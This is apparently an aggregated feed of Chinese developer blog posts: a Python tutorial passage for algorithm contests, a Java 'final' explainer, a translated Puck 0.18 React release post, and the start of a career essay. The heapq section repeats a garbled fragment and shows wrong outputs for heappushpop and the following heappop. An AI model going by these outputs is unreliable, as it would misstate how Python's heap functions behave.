s = "HelloWorld"
new_s = s.replace("World", "Python")
print(new_s)  # 输出: HelloPython
  • 字符串大小写转换
# 转换为大写
s = "hello"
print(s.upper())  # 输出: HELLO

# 转换为小写
s = "HELLO"
print(s.lower())  # 输出: hello

# 首字母大写
s = "hello world"
print(s.capitalize())  # 输出: Hello world

# 每个单词首字母大写
print(s.title())  # 输出: Hello World
  • 去除空白字符
# 去除两端空白字符
s = "  hello  "
print(s.strip())  # 输出: hello

# 去除左端空白字符
print(s.lstrip())  # 输出: hello  

# 去除右端空白字符
print(s.rstrip())  # 输出:   hello
  • 字符串分割
# 按空格分割字符串
s = "Hello World"
print(s.split())  # 输出: ['Hello', 'World']

# 按指定字符分割字符串
s = "apple,banana,orange"
print(s.split(','))  # 输出: ['apple', 'banana', 'orange']
  • 字符串格式化
# 使用 % 进行格式化
name = "Alice"
age = 25
print("My name is %s and I am %d years old." % (name, age))

# 使用 format() 方法
print("My name is {} and I am {} years old.".format(name, age))

# 使用 f-string (Python 3.6+)
print(f"My name is {name} and I am {age} years old.")

1.3 数字操作

在算法竞赛中,对数字的操作也非常重要,包括但不限于加减乘除、取模等。

  • 基本运算
# 加法
a = 5
b = 3
print(a + b)  # 输出: 8

# 减法
print(a - b)  # 输出: 2

# 乘法
print(a * b)  # 输出: 15

# 除法
print(a / b)  # 输出: 1.6666666666666667

# 整除
print(a // b)  # 输出: 1

# 取余
print(a % b)  # 输出: 2

# 幂运算
print(a ** b)  # 输出: 125
  • 数学函数
import math

# 绝对值
print(abs(-5))  # 输出: 5

# 最大值
print(max(1, 2, 3))  # 输出: 3

# 最小值
print(min(1, 2, 3))  # 输出: 1

# 四舍五入
print(round(3.7))  # 输出: 4

# 向上取整
print(math.ceil(3.2))  # 输出: 4

# 向下取整
print(math.floor(3.7))  # 输出: 3

# 开方
print(math.sqrt(16))  # 输出: 4.0

# 对数
print(math.log(10))  # 输出: 2.302585092994046

# 三角函数
print(math.sin(math.pi / 2))  # 输出: 1.0
  • 随机数生成
import random

# 生成一个随机整数
print(random.randint(1, 10))  # 输出: [1, 10] 之间的随机整数

# 生成一个随机浮点数
print(random.random())  # 输出: [0, 1) 之间的随机浮点数

# 从列表中随机选择一个元素
lst = [1, 2, 3, 4, 5]
print(random.choice(lst))  # 输出: 列表中的一个随机元素

# 打乱列表顺序
random.shuffle(lst)
print(lst)  # 输出: 打乱后的列表

二、常用数据结构的操控

2.1 列表(List)

列表是 Python 中最常用的数据结构之一,支持增删改查、排序、反转等操作。

  • 创建列表
# 创建空列表
lst = []

# 创建包含元素的列表
lst = [1, 2, 3, 4, 5]

# 使用 range() 创建列表
lst = list(range(1, 6))
print(lst)  # 输出: [1, 2, 3, 4, 5]
  • 访问元素
# 访问单个元素
lst = [1, 2, 3, 4, 5]
print(lst[0])  # 输出: 1
print(lst[-1])  # 输出: 5

# 访问子列表
print(lst[1:4])  # 输出: [2, 3, 4]
  • 添加元素
# 在末尾添加元素
lst = [1, 2, 3]
lst.append(4)
print(lst)  # 输出: [1, 2, 3, 4]

# 在指定位置插入元素
lst.insert(1, 0)
print(lst)  # 输出: [1, 0, 2, 3, 4]

# 合并两个列表
lst.extend([5, 6])
print(lst)  # 输出: [1, 0, 2, 3, 4, 5, 6]
  • 删除元素
# 删除指定位置的元素
lst = [1, 2, 3, 4, 5]
del lst[2]
print(lst)  # 输出: [1, 2, 4, 5]

# 删除指定值的元素
lst.remove(4)
print(lst)  # 输出: [1, 2, 5]

# 弹出最后一个元素
last = lst.pop()
print(last)  # 输出: 5
print(lst)  # 输出: [1, 2]

# 清空列表
lst.clear()
print(lst)  # 输出: []
  • 修改元素
# 修改指定位置的元素
lst = [1, 2, 3, 4, 5]
lst[2] = 0
print(lst)  # 输出: [1, 2, 0, 4, 5]
  • 查找元素
# 查找元素索引
lst = [1, 2, 3, 4, 5]
print(lst.index(3))  # 输出: 2

# 统计元素出现次数
print(lst.count(2))  # 输出: 1
  • 排序
# 升序排序
lst = [3, 1, 4, 1, 5, 9]
lst.sort()
print(lst)  # 输出: [1, 1, 3, 4, 5, 9]

# 降序排序
lst.sort(reverse=True)
print(lst)  # 输出: [9, 5, 4, 3, 1, 1]

# 自定义排序规则
lst = [("apple", 2), ("banana", 1), ("orange", 3)]
lst.sort(key=lambda x: x[1])
print(lst)  # 输出: [('banana', 1), ('apple', 2), ('orange', 3)]

# 多重排序
lst = [("apple", 2, 10), ("banana", 1, 5), ("orange", 3, 8)]
lst.sort(key=lambda x: (x[1], x[2]))
print(lst)  # 输出: [('banana', 1, 5), ('apple', 2, 10), ('orange', 3, 8)]
  • 反转
# 反转列表
lst = [1, 2, 3, 4, 5]
lst.reverse()
print(lst)  # 输出: [5, 4, 3, 2, 1]

2.2 元组(Tuple)

元组与列表类似,但它是不可变的,即一旦创建就不能修改。

  • 创建元组
# 创建空元组
tup = ()

# 创建包含元素的元组
tup = (1, 2, 3, 4, 5)

# 单个元素的元组需要加逗号
tup = (1,)
  • 访问元素
# 访问单个元素
tup = (1, 2, 3, 4, 5)
print(tup[0])  # 输出: 1
print(tup[-1])  # 输出: 5

# 访问子元组
print(tup[1:4])  # 输出: (2, 3, 4)
  • 元组解包
# 解包元组
tup = (1, 2, 3)
a, b, c = tup
print(a, b, c)  # 输出: 1 2 3

# 忽略部分元素
a, *rest = (1, 2, 3, 4, 5)
print(a, rest)  # 输出: 1 [2, 3, 4, 5]
  • 元组转换为列表
# 将元组转换为列表
tup = (1, 2, 3, 4, 5)
lst = list(tup)
print(lst)  # 输出: [1, 2, 3, 4, 5]

2.3 字典(Dictionary)

字典是一种键值对的数据结构,支持高效的查找、插入和删除操作。

  • 创建字典
# 创建空字典
dic = {}

# 创建包含键值对的字典
dic = {"apple": 2, "banana": 1, "orange": 3}

# 使用 dict() 函数创建字典
dic = dict(apple=2, banana=1, orange=3)
  • 访问元素
# 访问指定键对应的值
dic = {"apple": 2, "banana": 1, "orange": 3}
print(dic["apple"])  # 输出: 2

# 使用 get() 方法访问值(不存在时返回默认值)
print(dic.get("grape", 0))  # 输出: 0
  • 添加或修改元素
# 添加新键值对
dic["grape"] = 5
print(dic)  # 输出: {'apple': 2, 'banana': 1, 'orange': 3, 'grape': 5}

# 修改现有键对应的值
dic["apple"] = 10
print(dic)  # 输出: {'apple': 10, 'banana': 1, 'orange': 3, 'grape': 5}
  • 删除元素
# 删除指定键对应的项
del dic["banana"]
print(dic)  # 输出: {'apple': 10, 'orange': 3, 'grape': 5}

# 使用 pop() 方法删除并返回值
value = dic.pop("orange")
print(value)  # 输出: 3
print(dic)  # 输出: {'apple': 10, 'grape': 5}

# 清空字典
dic.clear()
print(dic)  # 输出: {}
  • 遍历字典
# 遍历键
for key in dic:
    print(key)

# 遍历值
for value in dic.values():
    print(value)

# 遍历键值对
for key, value in dic.items():
    print(key, value)

2.4 集合(Set)

集合是一个无序且不重复的元素集合,支持交集、并集、差集等操作。

  • 创建集合
# 创建空集合
s = set()

# 创建包含元素的集合
s = {1, 2, 3, 4, 5}

# 使用 set() 函数创建集合
s = set([1, 2, 3, 4, 5])
  • 添加元素
# 添加单个元素
s = {1, 2, 3}
s.add(4)
print(s)  # 输出: {1, 2, 3, 4}

# 添加多个元素
s.update([5, 6])
print(s)  # 输出: {1, 2, 3, 4, 5, 6}
  • 删除元素
# 删除指定元素
s = {1, 2, 3, 4, 5}
s.remove(3)
print(s)  # 输出: {1, 2, 4, 5}

# 如果元素不存在则抛出异常,使用 discard() 方法不会抛出异常
s.discard(6)
print(s)  # 输出: {1, 2, 4, 5}

# 弹出任意元素
elem = s.pop()
print(elem)  # 输出: 任意一个元素
print(s)  # 输出: 剩余的元素
  • 集合操作
# 交集
s1 = {1, 2, 3}
s2 = {2, 3, 4}
intersection = s1.intersection(s2)
print(intersection)  # 输出: {2, 3}

# 并集
union = s1.union(s2)
print(union)  # 输出: {1, 2, 3, 4}

# 差集
difference = s1.difference(s2)
print(difference)  # 输出: {1}

# 对称差集
symmetric_difference = s1.symmetric_difference(s2)
print(symmetric_difference)  # 输出: {1, 4}

2.5 优先队列(Heapq)

优先队列是一种特殊的队列,能够高效地获取最小或最大元素。Python 中可以使用 heapq 模块来实现优先队列。

  • 创建堆
import heapq

# 创建空堆
heap = []

# 创建包含元素的堆
heap = [1, 3, 5, 7, 9, 2, 4, 6, 8, 0]
heapq.heapify(heap)
print(heap)  # 输出: [0, 2, 1, 6, 3, 5, 4, 7, 8, 9]
  • 插入元素
# 插入元素
heapq.heappush(heap, 10)
print(heap)  # 输出: [0, 2, 1, 6, 3, 5, 4,7, 8, 9, 10]

# 插入元素并保持堆的大小不变(替换最小元素)
heapq.heappushpop(heap, -1)
print(heap)  # 输出: [-1, 2, 1, 6, 3, 5, 4, 7, 8, 9]
7, 8, 9, 10]

# 插入元素并保持堆的大小不变(替换最小元素)
heapq.heappushpop(heap, -1)
print(heap)  # 输出: [-1, 2, 1, 6, 3, 5, 4, 7, 8, 9]
  • 弹出最小元素
# 弹出最小元素
min_element = heapq.heappop(heap)
print(min_element)  # 输出: -1
print(heap)  # 输出: [0, 2, 1, 6, 3, 5, 4, 7, 8, 9]
  • 获取 n 个最小/最大元素
# 获取 3 个最小元素
smallest_three = heapq.nsmallest(3, heap)
print(smallest_three)  # 输出: [0, 1, 2]

# 获取 3 个最大元素
largest_three = heapq.nlargest(3, heap)
print(largest_three)  # 输出: [9, 8, 7]

三、Python 的语法特性

3.1 语法糖(Syntactic Sugar)

Python 提供了许多简洁且高效的语法糖,使得代码更加易读和简洁。

  • 列表推导式(List Comprehension)
# 使用 for 循环创建列表
lst = []
for i in range(10):
    lst.append(i * i)
print(lst)  # 输出: [0, 1, 4, 9, 16, 25, 36, 49, 64, 81]

# 使用列表推导式创建列表
lst = [i * i for i in range(10)]
print(lst)  # 输出: [0, 1, 4, 9, 16, 25, 36, 49, 64, 81]

# 带条件的列表推导式
lst = [i * i for i in range(10) if i % 2 == 0]
print(lst)  # 输出: [0, 4, 16, 36, 64]
  • 字典推导式(Dictionary Comprehension)
# 使用 for 循环创建字典
dic = {}
for i in range(5):
    dic[i] = i * i
print(dic)  # 输出: {0: 0, 1: 1, 2: 4, 3: 9, 4: 16}

# 使用字典推导式创建字典
dic = {i: i * i for i in range(5)}
print(dic)  # 输出: {0: 0, 1: 1, 2: 4, 3: 9, 4: 16}
  • 集合推导式(Set Comprehension)
# 使用 for 循环创建集合
s = set()
for i in range(10):
    s.add(i * i)
print(s)  # 输出: {0, 1, 4, 9, 16, 25, 36, 49, 64, 81}

# 使用集合推导式创建集合
s = {i * i for i in range(10)}
print(s)  # 输出: {0, 1, 4, 9, 16, 25, 36, 49, 64, 81}
  • 生成器表达式(Generator Expression)
# 使用 for 循环创建生成器
gen = (i * i for i in range(10))
for num in gen:
    print(num, end=" ")  # 输出: 0 1 4 9 16 25 36 49 64 81

# 生成器表达式可以节省内存,因为它不会一次性生成所有元素
  • 多重赋值
# 多重赋值
a, b, c = 1, 2, 3
print(a, b, c)  # 输出: 1 2 3

# 交换两个变量的值
a, b = b, a
print(a, b)  # 输出: 2 1
  • 解包(Unpacking)
# 解包元组
tup = (1, 2, 3)
a, b, c = tup
print(a, b, c)  # 输出: 1 2 3

# 忽略部分元素
a, *rest = (1, 2, 3, 4, 5)
print(a, rest)  # 输出: 1 [2, 3, 4, 5]

# 解包字典
dic = {"name": "Alice", "age": 25, "city": "Beijing"}
name, age, city = dic.values()
print(name, age, city)  # 输出: Alice 25 Beijing
  • 链式比较
# 链式比较
x = 5
print(1 < x < 10)  # 输出: True
print(1 < x and x < 10)  # 等价于上面的链式比较
  • 三元运算符
# 三元运算符
x = 5
result = "even" if x % 2 == 0 else "odd"
print(result)  # 输出: odd
  • 枚举(enumerate)
# 使用 for 循环遍历索引和元素
lst = ["apple", "banana", "orange"]
for i in range(len(lst)):
    print(i, lst[i])

# 使用 enumerate() 函数简化代码
for i, item in enumerate(lst):
    print(i, item)
  • zip() 函数
# 合并两个列表
names = ["Alice", "Bob", "Charlie"]
ages = [25, 30, 35]

# 使用 for 循环合并
for i in range(len(names)):
    print(names[i], ages[i])

# 使用 zip() 函数简化代码
for name, age in zip(names, ages):
    print(name, age)

# 不同长度的列表会自动截断到最短长度
shorter = ["Alice", "Bob"]
longer = [25, 30, 35]
for name, age in zip(shorter, longer):
    print(name, age)

3.2 Python 的优势

Python 在算法竞赛中有许多独特的优势,以下是一些常见的优势:

  • 整形不会溢出:Python 中的整数类型没有固定的大小限制,可以表示任意大的整数。这在处理大数问题时非常方便。
# 计算大数的阶乘
import math
print(math.factorial(100))  # 输出: 93326215443944152681699238856266700490715968264381621468592963895217599993229915608941463976156518286253697920827223758251185210916864000000000000000000000000
  • 内置函数丰富:Python 提供了大量内置函数,可以直接使用而无需自己实现。
# 统计字符串中每个字符出现的次数
from collections import Counter
s = "hello world"
counter = Counter(s)
print(counter)  # 输出: Counter({'l': 3, 'o': 2, 'h': 1, 'e': 1, ' ': 1, 'w': 1, 'r': 1, 'd': 1})
  • 代码简洁易读:Python 的语法简洁,代码可读性强,减少了出错的可能性。
# 计算斐波那契数列的前 n 项
def fibonacci(n):
    a, b = 0, 1
    result = []
    while len(result) < n:
        result.append(a)
        a, b = b, a + b
    return result

print(fibonacci(10))  # 输出: [0, 1, 1, 2, 3, 5, 8, 13, 21, 34]
  • 动态类型系统:Python 是动态类型语言,变量不需要声明类型,编写代码更加灵活。
# 动态类型示例
x = 5
print(x)  # 输出: 5

x = "Hello"
print(x)  # 输出: Hello
  • 丰富的标准库:Python 标准库提供了大量的模块和函数,可以直接使用这些工具来解决问题。
# 使用 bisect 模块进行二分查找
import bisect

lst = [1, 3, 5, 7, 9]
index = bisect.bisect_left(lst, 5)
print(index)  # 输出: 2

# 插入元素并保持有序
bisect.insort(lst, 4)
print(lst)  # 输出: [1, 3, 4, 5, 7, 9]

四、自带的算法库

Python 自带了许多常用的算法库,可以直接使用这些库来提高解题效率。

4.1 排序算法

Python 内置的 sorted() 函数和 list.sort() 方法可以对列表进行排序,默认是升序排序,也可以指定降序或自定义排序规则。

  • 基本排序
# 升序排序
lst = [3, 1, 4, 1, 5, 9]
sorted_lst = sorted(lst)
print(sorted_lst)  # 输出: [1, 1, 3, 4, 5, 9]

# 降序排序
sorted_lst = sorted(lst, reverse=True)
print(sorted_lst)  # 输出: [9, 5, 4, 3, 1, 1]

# 使用 list.sort() 方法原地排序
lst.sort()
print(lst)  # 输出: [1, 1, 3, 4, 5, 9]
  • 自定义排序规则
# 按绝对值排序
lst = [3, -1, 2, -4, 5]
sorted_lst = sorted(lst, key=abs)
print(sorted_lst)  # 输出: [-1, 2, 3, -4, 5]

# 按字符串长度排序
words = ["apple", "banana", "orange", "grape"]
sorted_words = sorted(words, key=len)
print(sorted_words)  # 输出: ['grape', 'apple', 'banana', 'orange']

# 按多个条件排序
students = [("Alice", 25), ("Bob", 30), ("Charlie", 25)]
sorted_students = sorted(students, key=lambda x: (x[1], x[0]))
print(sorted_students)  # 输出: [('Alice', 25), ('Charlie', 25), ('Bob', 30)]

4.2 查找算法

Python 提供了多种查找算法,如二分查找等。

  • 二分查找
# 使用 bisect 模块进行二分查找
import bisect

lst = [1, 3, 5, 7, 9]
index = bisect.bisect_left(lst, 5)
print(index)  # 输出: 2

# 插入元素并保持有序
bisect.insort(lst, 4)
print(lst)  # 输出: [1, 3, 4, 5, 7, 9]

4.3 数学运算

Python 提供了丰富的数学运算函数,可以直接使用这些函数来进行复杂的数学计算。

  • 常用数学函数
import math

# 绝对值
print(abs(-5))  # 输出: 5

# 最大值
print(max(1, 2, 3))  # 输出: 3

# 最小值
print(min(1, 2, 3))  # 输出: 1

# 四舍五入
print(round(3.7))  # 输出: 4

# 向上取整
print(math.ceil(3.2))  # 输出: 4

# 向下取整
print(math.floor(3.7))  # 输出: 3

# 开方
print(math.sqrt(16))  # 输出: 4.0

# 对数
print(math.log(10))  # 输出: 2.302585092994046

# 三角函数
print(math.sin(math.pi / 2))  # 输出: 1.0
  • 随机数生成
import random

# 生成一个随机整数
print(random.randint(1, 10))  # 输出: [1, 10] 之间的随机整数

# 生成一个随机浮点数
print(random.random())  # 输出: [0, 1) 之间的随机浮点数

# 从列表中随机选择一个元素
lst = [1, 2, 3, 4, 5]
print(random.choice(lst))  # 输出: 列表中的一个随机元素

# 打乱列表顺序
random.shuffle(lst)
print(lst)  # 输出: 打乱后的列表

五、Python 独有的技巧

5.1 字符串操作技巧

Python 的字符串操作非常强大,掌握一些技巧可以提高解题效率。

  • 字符串反转
# 使用切片反转字符串
s = "hello"
reversed_s = s[::-1]
print(reversed_s)  # 输出: olleh
  • 字符串去重
# 使用集合去重
s = "hello"
unique_chars = "".join(set(s))
print(unique_chars)  # 输出: ehol(注意:集合无序,结果可能不同)

# 保持顺序去重
from collections import OrderedDict
s = "hello"
unique_chars = "".join(OrderedDict.fromkeys(s))
print(unique_chars)  # 输出: helo
  • 字符串分割与拼接
# 分割字符串
s = "apple,banana,orange"
fruits = s.split(',')
print(fruits)  # 输出: ['apple', 'banana', 'orange']

# 拼接字符串
joined_string = ",".join(fruits)
print(joined_string)  # 输出: apple,banana,orange

5.2 列表操作技巧

Python 的列表操作也非常灵活,掌握一些技巧可以简化代码。

  • 列表反转
# 使用 reverse() 方法反转列表
lst = [1, 2, 3, 4, 5]
lst.reverse()
print(lst)  # 输出: [5, 4, 3, 2, 1]

# 使用切片反转列表
reversed_lst = lst[::-1]
print(reversed_lst)  # 输出: [5, 4, 3, 2, 1]
  • 列表去重
# 使用集合去重
lst = [1, 2, 2, 3, 4, 4, 5]
unique_lst = list(set(lst))
print(unique_lst)  # 输出: [1, 2, 3, 4, 5](注意:集合无序,结果可能不同)

# 保持顺序去重
from collections import OrderedDict
lst = [1, 2, 2, 3, 4, 4, 5]
unique_lst = list(OrderedDict.fromkeys(lst))
print(unique_lst)  # 输出: [1, 2, 3, 4, 5]
  • 列表切片
# 获取子列表
lst = [1, 2, 3, 4, 5]
sub_lst = lst[1:4]
print(sub_lst)  # 输出: [2, 3, 4]

# 获取每隔一个元素的子列表
every_other = lst[::2]
print(every_other)  # 输出: [1, 3, 5]

# 反转列表
reversed_lst = lst[::-1]
print(reversed_lst)  # 输出: [5, 4, 3, 2, 1]

5.3 其他技巧

  • 惰性求值
# 使用生成器表达式实现惰性求值
gen = (i * i for i in range(10))
for num in gen:
    print(num, end=" ")  # 输出: 0 1 4 9 16 25 36 49 64 81

# 生成器表达式可以节省内存,因为它不会一次性生成所有元素
  • 装饰器
# 定义一个简单的装饰器
def my_decorator(func):
    def wrapper():
        print("Before function call")
        func()
        print("After function call")
    return wrapper

@my_decorator
def say_hello():
    print("Hello")

say_hello()
# 输出:
# Before function call
# Hello
# After function call
  • 上下文管理器
# 使用 with 语句管理资源
with open('example.txt', 'w') as file:
    file.write('Hello, World!')
# 文件会在 with 语句块结束后自动关闭

# 自定义上下文管理器
class MyContextManager:
    def __enter__(self):
        print("Entering context")
        return self

    def __exit__(self, exc_type, exc_value, traceback):
        print("Exiting context")

with MyContextManager() as manager:
    print("Inside context")
# 输出:
# Entering context
# Inside context
# Exiting context

六、Python 算法竞赛中的优化技巧

6.1 时间复杂度优化

在算法竞赛中,时间复杂度是衡量算法效率的重要指标。以下是一些常见的优化技巧:

  • 避免不必要的循环嵌套
# 不推荐:双重循环导致 O(n^2) 复杂度
lst = [1, 2, 3, 4, 5]
for i in range(len(lst)):
    for j in range(i + 1, len(lst)):
        print(lst[i], lst[j])

# 推荐:使用组合生成器简化代码并提高效率
from itertools import combinations
for pair in combinations(lst, 2):
    print(pair)
  • 使用内置函数和库
# 不推荐:手动实现排序
lst = [3, 1, 4, 1, 5, 9]
sorted_lst = []
while lst:
    min_val = min(lst)
    sorted_lst.append(min_val)
    lst.remove(min_val)

# 推荐:使用内置的 sorted() 函数
sorted_lst = sorted(lst)
  • 缓存计算结果(Memoization)
# 不推荐:每次递归都重新计算斐波那契数列
def fibonacci(n):
    if n <= 1:
        return n
    return fibonacci(n - 1) + fibonacci(n - 2)

# 推荐:使用缓存减少重复计算
from functools import lru_cache

@lru_cache(maxsize=None)
def fibonacci(n):
    if n <= 1:
        return n
    return fibonacci(n - 1) + fibonacci(n - 2)

print(fibonacci(10))  # 输出: 55

6.2 空间复杂度优化

空间复杂度同样重要,尤其是在处理大规模数据时。以下是一些常见的优化技巧:

  • 使用生成器代替列表
# 不推荐:创建一个大列表占用大量内存
large_list = [i * i for i in range(10**6)]

# 推荐:使用生成器表达式节省内存
large_gen = (i * i for i in range(10**6))
for num in large_gen:
    print(num, end=" ")
  • 原地修改数据结构
# 不推荐:创建新的列表进行排序
lst = [3, 1, 4, 1, 5, 9]
sorted_lst = sorted(lst)

# 推荐:使用 list.sort() 方法原地排序
lst.sort()
  • 使用集合去重
# 不推荐:使用列表去重可能导致 O(n^2) 复杂度
lst = [1, 2, 2, 3, 4, 4, 5]
unique_lst = []
for item in lst:
    if item not in unique_lst:
        unique_lst.append(item)

# 推荐:使用集合去重,时间复杂度为 O(n)
unique_set = set(lst)
unique_lst = list(unique_set)

6.3 并行与多线程

虽然 Python 的 GIL(全局解释器锁)限制了多线程的性能提升,但在某些场景下仍然可以利用多进程或异步编程来加速任务。

  • 多进程
# 使用 multiprocessing 模块实现多进程
import multiprocessing

def worker(num):
    """模拟耗时任务"""
    print(f"Worker {num} is working")

if __name__ == "__main__":
    processes = []
    for i in range(5):
        p = multiprocessing.Process(target=worker, args=(i,))
        processes.append(p)
        p.start()

    for p in processes:
        p.join()
  • 异步编程
# 使用 asyncio 实现异步编程
import asyncio

async def fetch_data():
    print("Fetching data...")
    await asyncio.sleep(1)  # 模拟网络请求
    print("Data fetched")

async def main():
    tasks = [fetch_data() for _ in range(5)]
    await asyncio.gather(*tasks)

asyncio.run(main())

by 浪遏 at January 30, 2025 02:54 PM

juejin backend

Java 知识速记:全面解析 final 关键字

Java 知识速记:全面解析 final 关键字

什么是 final 关键字?

final 关键字是 Java 中的一个修饰符。它可以用于类、方法和变量,其作用是限制对这些元素的修改。究竟如何限制?我们来逐个分析。

final 在变量中的用法

1. 声明常量

当我们使用 final 修饰一个变量时,该变量就成为不可重新赋值的常量。一旦被初始化后,变量的值就不能再发生改变。

final int MAX_USERS = 100;
// MAX_USERS = 200; // 这行代码会导致编译错误

在上述例子中,MAX_USERS 被定义为常量,它的值为 100,不能再修改。

2. 引用类型变量

对于引用数据类型的变量,如果将其定义为 final,则意味着该变量所引用的对象的地址不可更改,但对象的内容是可以修改的。

final List<String> users = new ArrayList<>();
users.add("Alice");
// users = new ArrayList<>(); // 这行代码将导致编译错误

在这个例子中,users 引用的对象无法更改,但我们仍然可以修改该对象内部的内容。

final 在方法中的用法

1. 防止方法被重写

当一个方法被声明为 final 时,子类不能重写该方法。这对于想要保护方法的实现细节以及确保其行为不被修改的类尤其重要。

class BaseClass {
    final void show() {
        System.out.println("我是一个最终方法");
    }
}

class SubClass extends BaseClass {
    // void show() { // 这行代码将导致编译错误
    //     System.out.println("尝试覆盖最终方法");
    // }
}

通过这种方式,我们可以确保 show 方法的逻辑在基类中保持不变,子类无法擅自修改。

final 在类中的用法

1. 防止类被继承

当一个类被声明为 final 时,该类不能被其他类继承。这在某些情况下可以保持类的封装性和安全性。

final class ImmutableClass {
    // 类的实现
}

// class SubClass extends ImmutableClass { // 这行代码将导致编译错误
// }

这种做法确保了 ImmutableClass 的实现不会因为子类的存在而被改变。

使用 final 关键字的优势

  • 提高代码安全性:通过限制类、方法和变量的修改,可以有效避免意外更改导致的错误。
  • 提高性能:在某些情况下,Java 编译器可以优化 final 定义的变量和方法,提高运行效率。
  • 增强可读性:使用 final 显示了开发者对代码意图的清晰表达,帮助其他人理解代码。

by 无限大6 at January 30, 2025 02:39 PM

juejin frontend

Puck🚀🚀,React 拖拽功能的革命性突破

Puck🚀🚀,React 拖拽功能的革命性突破

原文链接:dev.to/puckeditor/…
作者:PuckEditor
译者:倔强青铜三

前言

大家好,我是倔强青铜三。作为一名热情的软件工程师,我热衷于分享和传播IT技术,致力于通过我的知识和技能推动技术交流与创新。欢迎关注我,微信公众号:倔强青铜三。欢迎点赞、收藏、关注,一键三连!!!

Puck 0.18版本的发布,标志着React拖拽功能的一次重大飞跃。这一版本引入了全新的拖拽引擎,支持CSS Grid和Flexbox,极大地提升了灵活性和用户体验。无论是开发者还是设计师,都能从中受益。接下来,让我们深入了解Puck 0.18的主要功能和如何快速上手。

更新到最新版本

如果你是首次使用Puck,可以通过以下命令安装最新版本:

npm install @measured/puck --save

如果你已经在项目中使用了Puck,可以通过以下命令进行更新:

npm update @measured/puck

由于此次更新没有引入任何破坏性更改,你可以直接开始探索新功能,无需担心兼容性问题。

自由多维拖拽

Puck 0.18的拖拽引擎彻底改变了用户体验。此前,Puck的拖拽功能主要限制在垂直方向,虽然可以通过DropZone API实现多列布局,但用户需要手动调整组件位置,且在调整列数时需要重新组织组件。现在,你可以自由地在画布上以任何方向拖拽React组件——无论是垂直、水平还是在响应式网格中,Puck都会提供即时的视觉反馈,展示组件放置后的布局效果。

设置也非常简单,你只需要在Puck的config中将DropZone设置为网格或弹性盒模型即可:

Grid: {
  //... 字段配置
  render: ({ columns }) => (
    <DropZone
      zone="my-grid"
      style={{
        display: "grid",
        gridTemplateColumns: `repeat(${columns}, 1fr)`,
      }}
    />
  ),
},

高级CSS布局

此前,所有Puck组件都被包裹在一个div中,这使得组件无法作为其父DropZone的直接子元素,这对于CSS网格或弹性盒模型布局来说是必要的。通过新的inline参数,你可以完全移除Puck的包裹层,使子组件成为DropZone的直接子元素。这使得flex-growgrid-column等CSS规则能够按预期工作。

例如,如果你想创建一个卡片网格,允许用户通过grid-columngrid-row CSS规则自定义每个卡片的行数和列数,你可以这样配置组件:

Card: {
  //... 字段配置
  // 启用inline模式以移除默认的包裹div
  inline: true,
  render: ({ spanRow, spanCol, puck }) => {
    return (
      <div
        style={{
          border: "1px solid black",
          gridColumn: `span ${spanCol}`,
          gridRow: `span ${spanRow}`,
        }}
        // 将拖拽引用传递给新的可拖拽div
        ref={puck.dragRef}
      >
        卡片内容
      </div>
    );
  },
},
Grid: {
  //... 字段配置
  render: ({ columns, rows }) => (
    <DropZone
      zone="my-grid"
      style={{
        display: "grid",
        gridTemplateColumns: `repeat(${columns}, 1fr)`,
        gridTemplateRows: `repeat(${rows}, 1fr)`,
      }}
    />
  ),
},

DropZone容器拖拽

此次更新中最令人兴奋的功能之一是能够在不同的DropZone容器之间拖拽组件。此前,你只能在共享同一父级的区域之间拖拽组件,这显然限制了灵活性。现在,无论是在兄弟区域之间移动组件,还是将其拖拽到嵌套的子级中,甚至从子级拖拽回父级,都变得轻而易举——无需额外设置。

动态DropZone高度

DropZone也进行了重大改进:它们现在会根据子元素的高度动态调整自身高度,并准确预览最终渲染效果。此外,你还可以为为空的DropZone设置占位高度,从而定义它们在为空时的行为,让你完全控制编辑器的布局,并根据需要突出显示DropZone

例如,你可以在页面顶部显示一个较短的导航栏DropZone,同时保持主内容DropZone尽可能高。在0.18版本中,你可以通过以下配置实现:

root: {
  render: () => (
    <div>
      <DropZone
        zone="nav"
        // 设置为空时的高度为80像素
        minEmptyHeight={80}
        style={{ maxHeight: 100 }}
      />
      <DropZone
        zone="main"
        // 设置为空时的高度为500像素
        minEmptyHeight={500}
      />
    </div>
  ),
},

扩展组件抽屉为网格

默认情况下,Puck会将Drawer(所有可拖拽组件的容器)渲染为侧边栏中的垂直列表。此前,你可以通过自定义界面来决定其位置,但无法将其显示为网格。由于旧的拖拽引擎限制,这在以前是不可能实现的。但随着0.18版本中引入的新引擎,这一限制已经消除。

探索0.18的更多功能

0.18版本中还有许多其他功能,无法在此一一介绍。以下是除了拖拽功能更新之外的其他亮点:

  • 交互热键切换:在预览模式下,通过cmd+i(Windows上为ctrl+i)热键轻松切换组件的交互性,方便测试交互组件而无需离开编辑器。
  • 选择父级操作:直接从操作栏快速选择组件的父级,使导航嵌套组件更加顺畅。
  • 移除position: fixed:从默认布局中移除了这一样式,使将Puck嵌入你的应用程序变得更加简单。
  • 新的<ActionBar.Label>组件:使用新的<ActionBar.Label>组件组织和分隔操作栏的部分,使其更直观。

更多详细信息,请查阅官方文档

结语

Puck v0.18是社区共同努力的成果。此次更新不仅仅是向前迈出的一步,而是一次巨大的飞跃。我们非常期待看到你用Puck构建的作品!无论你是在React中尝试拖拽编辑器、打造完美像素级设计,祝你使用愉快!

最后感谢阅读!欢迎关注我,微信公众号倔强青铜三。欢迎点赞收藏关注,一键三连!!!

by 倔强青铜三 at January 30, 2025 02:35 PM

juejin career

理想与现实的交响曲

引言

在这个风云变幻的时代,影视作品宛如心灵的避风港,给予我们慰藉与启示。近期,电视剧《大奉打更人》凭借其深刻的主题和独特的叙事手法,在观众心中激起层层涟漪。剧中主人公许七安,是一位满怀抱负与能力的热血青年,面对世间的不公不义,他总是毫不犹豫地挺身而出,展现出无畏的勇气。而他的上司魏公,作为打更人的首领,凭借老谋深算的智慧和卓越的大局观,采取稳扎稳打的策略。剧中一个关键转折点令人印象深刻:当城市居民惨遭亲王谋害时,许七安的直接对抗方式,与我们传统文化中倡导的隐忍、徐徐图之的理念形成了强烈的反差。这一情节不仅引发了剧中人物的命运转折,也促使我们深入思考现实生活中理想与现实的复杂关系。

理想与现实的艰难抉择

在现实生活的漫漫长河中,我们每个人都在理想与现实的十字路口徘徊不定。当我们终于站在能够对事情施加影响的位置时,一个沉重的问题摆在眼前:是否应该始终坚守当初的理想,以纯粹正确的方式处理问题?这无疑是一个值得我们深入探寻的问题。

